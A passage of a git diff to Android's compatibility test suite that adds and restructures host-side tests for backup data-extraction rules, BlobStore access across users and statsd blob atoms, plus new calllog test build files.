     }
 
     @Test
-    public void testIncludeExcludeRules() throws Exception {
-        // Generate the files that are going to be backed up.
-        checkDeviceTest(INCLUDE_EXCLUDE_TESTS_APP_NAME, INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME,
-                "createFiles");
+    public void testFullBackupContentIncludeExcludeRules() throws Exception {
+        installPackage(FULL_BACKUP_CONTENT_APP_APK);
 
-        // Do a backup
-        getBackupUtils().backupNowAndAssertSuccess(INCLUDE_EXCLUDE_TESTS_APP_NAME);
+        // Generate test data and run a backup and restore pass.
+        runBackupAndRestoreOnTestData(INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME);
 
-        // Delete the files
-        checkDeviceTest(INCLUDE_EXCLUDE_TESTS_APP_NAME, INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME,
-                "deleteFilesAfterBackup");
+        // Check that the right files were restored.
+        checkFullBackupRulesDeviceTest(INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME,
+                "checkRestoredFiles");
+    }
 
-        // Do a restore
-        getBackupUtils()
-                .restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, INCLUDE_EXCLUDE_TESTS_APP_NAME);
+    @Test
+    public void testDataExtractionRulesIncludeExcludeRules() throws Exception {
+        installPackage(DATA_EXTRACTION_RULES_APP_APK);
+
+        // Generate test data and run a backup and restore pass.
+        runBackupAndRestoreOnTestData(INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME);
+
+        // Check that the right files were restored.
+        checkFullBackupRulesDeviceTest(INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME,
+                "checkRestoredFiles");
+    }
+
+    /**
+     * Run a backup operation on an app that specifies {@code android:dataExtractionRules} and
+     * verify that:
+     *
+     * <ul> Only {@code <cloudBackup/>} section of the config is respected. </ul>
+     * <ul> Rules specified via {@code android:fullBackupContent} are ignored. </ul>
+     */
+    @Test
+    public void testBackup_onlyBackupDataExtractionRulesAreApplied() throws Exception {
+        installPackage(DATA_EXTRACTION_RULES_APPLICABILITY_APP_APK);
+
+        // Generate test data and run a backup and restore pass.
+        runBackupAndRestoreOnTestData(DATA_EXTRACTION_RULES_APPLICABILITY_DEVICE_TEST_CLASS_NAME);
 
         // Check that the right files were restored
-        checkDeviceTest(INCLUDE_EXCLUDE_TESTS_APP_NAME, INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME,
+        checkFullBackupRulesDeviceTest(DATA_EXTRACTION_RULES_APPLICABILITY_DEVICE_TEST_CLASS_NAME,
+                "testOnlyBackupDataExtractionRulesAreApplied");
+    }
+
+    /**
+     * Run a device transfer operation on an app that specifies {@code android:dataExtractionRules}
+     * and verify that:
+     *
+     * <ul> Only {@code <deviceTransfer/>} section of the config is respected. </ul>
+     * <ul> Rules specified via {@code android:fullBackupContent} are ignored. </ul>
+     */
+    @Test
+    public void testDeviceTransfer_onlyDeviceTransferDataExtractionRulesAreApplied()
+            throws Exception {
+        setLocalTransportParameters("is_device_transfer=true");
+        installPackage(DATA_EXTRACTION_RULES_APPLICABILITY_APP_APK);
+
+        // Generate test data and run a backup and restore pass.
+        runBackupAndRestoreOnTestData(DATA_EXTRACTION_RULES_APPLICABILITY_DEVICE_TEST_CLASS_NAME);
+
+        // Check that the right files were restored
+        checkFullBackupRulesDeviceTest(DATA_EXTRACTION_RULES_APPLICABILITY_DEVICE_TEST_CLASS_NAME,
+                "testOnlyDeviceTransferDataExtractionRulesAreApplied");
+    }
+
+    @Test
+    public void testDisableIfNoEncryptionCapabilities_encryptedTransport_doesBackUp()
+            throws Exception {
+        setLocalTransportParameters("is_encrypted=true");
+        installPackage(ENCRYPTION_ATTRIBUTE_APP_APK);
+
+        // Generate test data and run a backup and restore pass.
+        runBackupAndRestoreOnTestData(INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME);
+
+        // Check that the right files were restored.
+        checkFullBackupRulesDeviceTest(INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME,
                 "checkRestoredFiles");
     }
 
     @Test
+    public void testDisableIfNoEncryptionCapabilities_unencryptedTransport_doesNotBackUp()
+            throws Exception {
+        setLocalTransportParameters("is_encrypted=false");
+        installPackage(ENCRYPTION_ATTRIBUTE_APP_APK);
+
+        // Generate test data and run a backup and restore pass.
+        runBackupAndRestoreOnTestData(INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME);
+
+        // Check that no files were restored.
+        checkFullBackupRulesDeviceTest(INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME,
+                "checkNoFilesExist");
+    }
+
+    @Test
     public void testRequireFakeEncryptionFlag_includesFileIfFakeEncryptionEnabled()
             throws Exception {
+        installPackage(FULL_BACKUP_CONTENT_APP_APK);
+
         enableFakeEncryptionOnTransport();
 
         // Generate the files that are going to be backed up.
@@ -126,6 +231,8 @@
     @Test
     public void testRequireFakeEncryptionFlag_excludesFileIfFakeEncryptionDisabled()
             throws Exception {
+        installPackage(FULL_BACKUP_CONTENT_APP_APK);
+
         disableFakeEncryptionOnTransport();
 
         // Generate the files that are going to be backed up.
@@ -147,4 +254,31 @@
         checkDeviceTest(INCLUDE_EXCLUDE_TESTS_APP_NAME, INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME,
                 "checkDidNotRestoreClientSideEncryptionFiles");
     }
+
+    /**
+     * <ol> Generate test files. </ol>
+     * <ol> Run a backup. </ol>
+     * <ol> Clear app data. </ol>
+     * <ol> Run a restore. </ol>
+     */
+    private void runBackupAndRestoreOnTestData(String deviceSideTestName) throws Exception {
+        // Generate the files that are going to be backed up.
+        checkFullBackupRulesDeviceTest(deviceSideTestName, "createFiles");
+
+        // Do a backup
+        getBackupUtils().backupNowSync(INCLUDE_EXCLUDE_TESTS_APP_NAME);
+
+        // Delete the files
+        checkFullBackupRulesDeviceTest(deviceSideTestName,
+                "deleteFilesAfterBackup");
+
+        // Do a restore
+        getBackupUtils()
+                .restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, INCLUDE_EXCLUDE_TESTS_APP_NAME);
+    }
+
+    private void checkFullBackupRulesDeviceTest(String className, String testName)
+            throws DeviceNotAvailableException {
+        checkDeviceTest(INCLUDE_EXCLUDE_TESTS_APP_NAME, className, testName);
+    }
 }
diff --git a/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java
index 89e2539..95d3b9a 100644
--- a/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java
@@ -107,7 +107,7 @@
      *
      * <ol>
      *   <li>Install 3 test packages on the device
-     *   <li>Write dummy values to shared preferences for each package
+     *   <li>Write test values to shared preferences for each package
      *   <li>Backup each package (adb shell bmgr backupnow)
      *   <li>Clear shared preferences for each package
      *   <li>Run restore for the first {@code numPackagesToRestore}, verify only those are restored
@@ -120,7 +120,7 @@
         installPackage(getApkNameForTestApp(2));
         installPackage(getApkNameForTestApp(3));
 
-        // Write dummy value to shared preferences for all test packages.
+        // Write test values to shared preferences for all test packages.
         checkRestoreSessionDeviceTestForAllApps("testSaveValuesToSharedPrefs");
         checkRestoreSessionDeviceTestForAllApps("testCheckSharedPrefsExist");
 
diff --git a/hostsidetests/blobstore/Android.bp b/hostsidetests/blobstore/Android.bp
index cb27282..61b9972 100644
--- a/hostsidetests/blobstore/Android.bp
+++ b/hostsidetests/blobstore/Android.bp
@@ -26,6 +26,9 @@
         "tradefed",
         "truth-prebuilt"
     ],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
@@ -52,3 +55,51 @@
     "general-tests"
   ]
 }
+
+android_test_helper_app {
+  name: "CtsBlobStoreHostTestHelperPrivA",
+  srcs:  ["test-apps/BlobStoreHostTestHelper/src/**/*.java"],
+  static_libs: [
+    "compatibility-device-util-axt",
+    "androidx.test.ext.junit",
+    "androidx.test.rules",
+    "BlobStoreTestUtils",
+    "truth-prebuilt",
+    "testng",
+  ],
+  manifest : "test-apps/BlobStoreHostTestHelper/AndroidManifest_withPrivPerm.xml",
+  aaptflags: [
+    "--rename-manifest-package com.android.cts.device.blobA",
+    "--rename-instrumentation-target-package com.android.cts.device.blobA"
+  ],
+  sdk_version: "test_current",
+  // Tag this module as a cts test artifact
+  test_suites: [
+    "cts",
+    "general-tests"
+  ]
+}
+
+android_test_helper_app {
+  name: "CtsBlobStoreHostTestHelperPrivB",
+  srcs:  ["test-apps/BlobStoreHostTestHelper/src/**/*.java"],
+  static_libs: [
+    "compatibility-device-util-axt",
+    "androidx.test.ext.junit",
+    "androidx.test.rules",
+    "BlobStoreTestUtils",
+    "truth-prebuilt",
+    "testng",
+  ],
+  manifest : "test-apps/BlobStoreHostTestHelper/AndroidManifest_withPrivPerm.xml",
+  aaptflags: [
+    "--rename-manifest-package com.android.cts.device.blobB",
+    "--rename-instrumentation-target-package com.android.cts.device.blobB",
+  ],
+  sdk_version: "test_current",
+  // Tag this module as a cts test artifact
+  test_suites: [
+    "cts",
+    "general-tests"
+  ]
+}
diff --git a/hostsidetests/blobstore/AndroidTest.xml b/hostsidetests/blobstore/AndroidTest.xml
index b1b6d63..6460e1f 100644
--- a/hostsidetests/blobstore/AndroidTest.xml
+++ b/hostsidetests/blobstore/AndroidTest.xml
@@ -25,6 +25,9 @@
     </test>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="test-file-name" value="CtsBlobStoreHostTestHelper.apk" />
+        <option name="test-file-name" value="CtsBlobStoreHostTestHelperPrivA.apk" />
+        <option name="test-file-name" value="CtsBlobStoreHostTestHelperPrivB.apk" />
+        <option name="install-arg" value="-t" />
         <option name="cleanup-apks" value="true" />
     </target_preparer>
 </configuration>
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
index 2369ec0..0ed223f 100644
--- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
@@ -30,6 +30,12 @@
     protected static final String TARGET_APK = "CtsBlobStoreHostTestHelper.apk";
     protected static final String TARGET_PKG = "com.android.cts.device.blob";
 
+    protected static final String TARGET_APK_A = "CtsBlobStoreHostTestHelperPrivA.apk";
+    protected static final String TARGET_PKG_A = "com.android.cts.device.blobA";
+
+    protected static final String TARGET_APK_B = "CtsBlobStoreHostTestHelperPrivB.apk";
+    protected static final String TARGET_PKG_B = "com.android.cts.device.blobB";
+
     private static final long TIMEOUT_BOOT_COMPLETE_MS = 120_000;
     private static final long DEFAULT_INSTRUMENTATION_TIMEOUT_MS = 900_000; // 15min
 
@@ -75,6 +81,11 @@
                 runDeviceTests(deviceTestRunOptions)).isTrue();
     }
 
+    protected long getDeviceTimeMs() throws Exception {
+        final String timeMs = getDevice().executeShellCommand("date +%s%3N");
+        return Long.parseLong(timeMs.trim());
+    }
+
     protected void rebootAndWaitUntilReady() throws Exception {
         // TODO: use rebootUserspace()
         getDevice().reboot(); // reboot() waits for device available
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
index d8cc1a0..ffd5da4 100644
--- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
@@ -45,8 +45,10 @@
         mSecondaryUserId = getDevice().createUser("Test_User");
         assertThat(getDevice().startUser(mSecondaryUserId)).isTrue();
 
-        installPackageAsUser(TARGET_APK, true /* grantPermissions */, mPrimaryUserId);
-        installPackageAsUser(TARGET_APK, true /* grantPermissions */, mSecondaryUserId);
+        for (String apk : new String[] {TARGET_APK, TARGET_APK_A, TARGET_APK_B}) {
+            installPackageAsUser(apk, true /* grantPermissions */, mPrimaryUserId, "-t");
+            installPackageAsUser(apk, true /* grantPermissions */, mSecondaryUserId, "-t");
+        }
     }
 
     @After
@@ -84,4 +86,34 @@
         runDeviceTestAsUser(TARGET_PKG, TEST_CLASS, "testOpenBlob_shouldThrow", args,
                 mSecondaryUserId);
     }
+
+    @Test
+    public void testBlobAccessAcrossUsers() throws Exception {
+        Map<String, String> args = createArgs(Pair.create(KEY_ALLOW_PUBLIC, String.valueOf(1)));
+        // Commit a blob.
+        runDeviceTestAsUser(TARGET_PKG_A, TEST_CLASS, "testCommitBlob", args,
+                mPrimaryUserId);
+        Map<String, String> argsFromLastTestRun = createArgsFromLastTestRun();
+        // Verify that previously committed blob can be accessed.
+        runDeviceTestAsUser(TARGET_PKG, TEST_CLASS, "testOpenBlob", argsFromLastTestRun,
+                mPrimaryUserId);
+        // Verify that previously committed blob cannot be access from another user.
+        runDeviceTestAsUser(TARGET_PKG, TEST_CLASS, "testOpenBlob_shouldThrow", argsFromLastTestRun,
+                mSecondaryUserId);
+
+        // Verify that previously committed blob can be accessed from another user holding
+        // a priv permission.
+        runDeviceTestAsUser(TARGET_PKG_A, TEST_CLASS, "testOpenBlob", argsFromLastTestRun,
+                mSecondaryUserId);
+        runDeviceTestAsUser(TARGET_PKG_B, TEST_CLASS, "testOpenBlob", argsFromLastTestRun,
+                mSecondaryUserId);
+
+        // Recommit the blob on another user
+        argsFromLastTestRun.putAll(args);
+        runDeviceTestAsUser(TARGET_PKG_B, TEST_CLASS, "testRecommitBlob", argsFromLastTestRun,
+                mSecondaryUserId);
+        // Any package on another user should be able to access the blob
+        runDeviceTestAsUser(TARGET_PKG, TEST_CLASS, "testOpenBlob", argsFromLastTestRun,
+                mSecondaryUserId);
+    }
 }
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/StatsdBlobStoreAtomTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/StatsdBlobStoreAtomTest.java
new file mode 100644
index 0000000..1af2515
--- /dev/null
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/StatsdBlobStoreAtomTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.host.blob;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.internal.os.StatsdConfigProto;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class StatsdBlobStoreAtomTest extends BaseBlobStoreHostTest {
+    private static final String TEST_CLASS = TARGET_PKG + ".AtomTest";
+
+    // Constants that match the constants for AtomTests#testBlobStore
+    private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
+    private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
+    private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
+    private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
+
+    private int mTestAppUid;
+
+    @Before
+    public void setUp() throws Exception {
+        installPackage(TARGET_APK);
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        mTestAppUid = DeviceUtils.getAppUid(getDevice(), TARGET_PKG);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        uninstallPackage(TARGET_PKG);
+    }
+
+    @Test
+    public void testPushedBlobStoreStats() throws Exception {
+        final StatsdConfigProto.StatsdConfig.Builder conf =
+                ConfigUtils.createConfigBuilder(TARGET_PKG);
+        ConfigUtils.addEventMetricForUidAtom(conf, AtomsProto.Atom.BLOB_COMMITTED_FIELD_NUMBER,
+                /*useUidAttributionChain=*/ false, TARGET_PKG);
+        ConfigUtils.addEventMetricForUidAtom(conf, AtomsProto.Atom.BLOB_LEASED_FIELD_NUMBER,
+                /*useUidAttributionChain=*/ false, TARGET_PKG);
+        ConfigUtils.addEventMetricForUidAtom(conf, AtomsProto.Atom.BLOB_OPENED_FIELD_NUMBER,
+                /*useUidAttributionChain=*/ false, TARGET_PKG);
+        ConfigUtils.uploadConfig(getDevice(), conf);
+
+        runDeviceTest(TARGET_PKG, TEST_CLASS, "testBlobStoreOps");
+
+        final List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data).hasSize(3);
+
+        final AtomsProto.BlobCommitted blobCommitted = data.get(0).getAtom().getBlobCommitted();
+        final long blobId = blobCommitted.getBlobId();
+        final long blobSize = blobCommitted.getSize();
+        assertThat(blobCommitted.getUid()).isEqualTo(mTestAppUid);
+        assertThat(blobId).isGreaterThan(0L);
+        assertThat(blobSize).isGreaterThan(0L);
+        assertThat(blobCommitted.getResult()).isEqualTo(AtomsProto.BlobCommitted.Result.SUCCESS);
+
+        final AtomsProto.BlobLeased blobLeased = data.get(1).getAtom().getBlobLeased();
+        assertThat(blobLeased.getUid()).isEqualTo(mTestAppUid);
+        assertThat(blobLeased.getBlobId()).isEqualTo(blobId);
+        assertThat(blobLeased.getSize()).isEqualTo(blobSize);
+        assertThat(blobLeased.getResult()).isEqualTo(AtomsProto.BlobLeased.Result.SUCCESS);
+
+        final AtomsProto.BlobOpened blobOpened = data.get(2).getAtom().getBlobOpened();
+        assertThat(blobOpened.getUid()).isEqualTo(mTestAppUid);
+        assertThat(blobOpened.getBlobId()).isEqualTo(blobId);
+        assertThat(blobOpened.getSize()).isEqualTo(blobSize);
+        assertThat(blobOpened.getResult()).isEqualTo(AtomsProto.BlobOpened.Result.SUCCESS);
+    }
+
+    @Test
+    public void testPulledBlobStoreStats() throws Exception {
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), TARGET_PKG,
+                AtomsProto.Atom.BLOB_INFO_FIELD_NUMBER);
+
+        final long testStartTimeMs = getDeviceTimeMs();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        runDeviceTest(TARGET_PKG, TEST_CLASS, "testBlobStoreOps");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Add commit callback time to test end time to account for async execution
+        final long testEndTimeMs =
+                getDeviceTimeMs() + BLOB_COMMIT_CALLBACK_TIMEOUT_SEC * 1000;
+
+        // Find the BlobInfo for the blob created in the test run
+        AtomsProto.BlobInfo blobInfo = null;
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            if (atom.hasBlobInfo()) {
+                final AtomsProto.BlobInfo temp = atom.getBlobInfo();
+                if (temp.getCommitters().getCommitter(0).getUid() == mTestAppUid) {
+                    blobInfo = temp;
+                    break;
+                }
+            }
+        }
+        assertThat(blobInfo).isNotNull();
+
+        assertThat(blobInfo.getSize()).isEqualTo(BLOB_FILE_SIZE_BYTES);
+
+        // Check that expiry time is reasonable
+        assertThat(blobInfo.getExpiryTimestampMillis()).isGreaterThan(
+                testStartTimeMs + BLOB_EXPIRY_DURATION_MS);
+        assertThat(blobInfo.getExpiryTimestampMillis()).isLessThan(
+                testEndTimeMs + BLOB_EXPIRY_DURATION_MS);
+
+        // Check that commit time is reasonable
+        final long commitTimeMs = blobInfo.getCommitters().getCommitter(0)
+                .getCommitTimestampMillis();
+        assertThat(commitTimeMs).isGreaterThan(testStartTimeMs);
+        assertThat(commitTimeMs).isLessThan(testEndTimeMs);
+
+        // Check that WHITELIST and PRIVATE access mode flags are set
+        assertThat(blobInfo.getCommitters().getCommitter(0).getAccessMode()).isEqualTo(0b1001);
+        assertThat(blobInfo.getCommitters().getCommitter(0).getNumWhitelistedPackage())
+                .isEqualTo(1);
+
+        assertThat(blobInfo.getLeasees().getLeaseeCount()).isGreaterThan(0);
+        assertThat(blobInfo.getLeasees().getLeasee(0).getUid()).isEqualTo(mTestAppUid);
+
+        // Check that lease expiry time is reasonable
+        final long leaseExpiryMs = blobInfo.getLeasees().getLeasee(0)
+                .getLeaseExpiryTimestampMillis();
+        assertThat(leaseExpiryMs).isGreaterThan(testStartTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
+        assertThat(leaseExpiryMs).isLessThan(testEndTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
+    }
+}
diff --git a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/AndroidManifest_withPrivPerm.xml b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/AndroidManifest_withPrivPerm.xml
new file mode 100644
index 0000000..fb06cdf
--- /dev/null
+++ b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/AndroidManifest_withPrivPerm.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.device.blob">
+
+    <uses-permission android:name="android.permission.ACCESS_BLOBS_ACROSS_USERS" />
+
+    <application android:testOnly="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+            android:name="androidx.test.runner.AndroidJUnitRunner"
+            android:targetPackage="com.android.cts.device.blob"  />
+</manifest>
\ No newline at end of file
diff --git a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/AtomTest.java b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/AtomTest.java
new file mode 100644
index 0000000..3d57c35
--- /dev/null
+++ b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/AtomTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.device.blob;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.blob.BlobStoreManager;
+
+import com.android.utils.blob.FakeBlobData;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.google.common.io.BaseEncoding;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class AtomTest extends BaseBlobStoreDeviceTest {
+    // Constants for testBlobStore
+    private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
+    private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
+    private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
+    private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
+    private static final byte[] FAKE_PKG_CERT_SHA256 = BaseEncoding.base16().decode(
+            "187E3D3172F2177D6FEC2EA53785BF1E25DFF7B2E5F6E59807E365A7A837E6C3");
+
+    @Test
+    public void testBlobStoreOps() throws Exception {
+        final long leaseExpiryMs = System.currentTimeMillis() + BLOB_LEASE_EXPIRY_DURATION_MS;
+
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
+                .setExpiryDurationMs(BLOB_EXPIRY_DURATION_MS)
+                .setFileSize(BLOB_FILE_SIZE_BYTES)
+                .build();
+
+        blobData.prepare();
+        try {
+            // Commit the Blob, should result in BLOB_COMMITTED atom event
+            commitBlob(blobData);
+
+            // Lease the Blob, should result in BLOB_LEASED atom event
+            mBlobStoreManager.acquireLease(blobData.getBlobHandle(), "", leaseExpiryMs);
+
+            // Open the Blob, should result in BLOB_OPENED atom event
+            mBlobStoreManager.openBlob(blobData.getBlobHandle());
+        } finally {
+            blobData.delete();
+        }
+    }
+
+    private void commitBlob(FakeBlobData blobData) throws Exception {
+        final long sessionId = createSession(blobData.getBlobHandle());
+        try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+            blobData.writeToSession(session);
+            session.allowPackageAccess("fake.package.name", FAKE_PKG_CERT_SHA256);
+
+            final CompletableFuture<Integer> callback = new CompletableFuture<>();
+            session.commit(mContext.getMainExecutor(), callback::complete);
+            assertWithMessage("Session failed to commit within timeout").that(
+                    callback.get(BLOB_COMMIT_CALLBACK_TIMEOUT_SEC, TimeUnit.SECONDS)).isEqualTo(0);
+        }
+    }
+}
diff --git a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataCleanupTest.java b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataCleanupTest.java
index b01be92..03d16cc 100644
--- a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataCleanupTest.java
+++ b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataCleanupTest.java
@@ -26,6 +26,7 @@
 import android.os.ParcelFileDescriptor;
 
 import com.android.utils.blob.FakeBlobData;
+import com.android.utils.blob.Utils;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -116,6 +117,28 @@
                 () -> mBlobStoreManager.openBlob(blobHandle));
     }
 
+    @Test
+    public void testRecommitBlob() throws Exception {
+        final BlobHandle blobHandle = getBlobHandleFromArgs();
+        try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobHandle)) {
+            assertThat(pfd).isNotNull();
+
+            final long sessionId = createSession(blobHandle);
+            assertThat(sessionId).isGreaterThan(0L);
+            try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+                Utils.writeToSession(session, pfd);
+                if (getShouldAllowPublicFromArgs()) {
+                    session.allowPublicAccess();
+                }
+
+                final CompletableFuture<Integer> callback = new CompletableFuture<>();
+                session.commit(mContext.getMainExecutor(), callback::complete);
+                assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_MS, TimeUnit.MILLISECONDS))
+                        .isEqualTo(0);
+            }
+        }
+    }
+
     private void addSessionIdToResults(long sessionId) {
         final Bundle results = new Bundle();
         results.putLong(KEY_SESSION_ID, sessionId);
diff --git a/hostsidetests/calllog/Android.bp b/hostsidetests/calllog/Android.bp
new file mode 100644
index 0000000..4979fed
--- /dev/null
+++ b/hostsidetests/calllog/Android.bp
@@ -0,0 +1,41 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsCallLogTestCases",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/*.java",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+
+    static_libs: [
+        "cts-host-utils",
+    ],
+}
diff --git a/hostsidetests/calllog/AndroidTest.xml b/hostsidetests/calllog/AndroidTest.xml
new file mode 100644
index 0000000..1e9822c
--- /dev/null
+++ b/hostsidetests/calllog/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
